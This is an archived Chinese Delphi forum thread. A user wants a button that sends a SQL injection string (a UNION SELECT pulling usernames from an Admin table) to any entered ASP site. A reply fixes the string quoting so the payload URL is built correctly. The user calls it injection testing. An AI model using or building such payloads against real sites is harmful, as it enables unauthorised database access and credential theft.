WebBrowser中url 连接问题 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiNetwork/html/delphi_20061202200134214.html
实现:点了button以后发送   edit1.text   +   '后面的一串'     到web服务器  
   
  后面一串如下:  
   
  /Region.asp?Country=tt&City=fucka&Province=bug'   and   1=2   union   select   username   from   Admin   where   1<2   and   '1'='1  
   
  我的代码  
   
  procedure   TForm1.Button2Click(Sender:   TObject);  
  begin  
  self.WebBrowser1.Navigate(edit1.Text+'/Region.asp?Country=tt&City=fucka&Province=bug''+'and'+'1=2'+'union'+'select'+'username'+'from'+'Admin'+'where'+'1'+'<'+'2'+'and'+'1'='1);  
  end;  
   
  提示有错误:Missing   operator   or   semicolon  
   
  望朋友指点

如果你的URL就是那样的(我没有看出提交给ASP的那些字串是什么意思),那么,可以按下面这样:  
  var   s:string;  
  begin  
      s:=s+'/Region.asp?Country=tt&City=fucka&Province=bug';  
      s:=s+quotedstr('   and   1=2   union   select   username   from   Admin   where   1<2   and   ');  
      s:=s+'1';  
      s:=s+quotedstr('=');  
      s:=s+'1';  
      WebBrowser1.Navigate(edit1.Text+s);  
  end;

多谢指点,这个字符串是测试注入的

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-12-05
  • 2021-12-18
  • 2021-12-22
  • 2021-06-01
  • 2021-10-31
猜你喜欢
  • 2022-12-23
  • 2021-11-16
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-08-03
  • 2021-10-22
相关资源
相似解决方案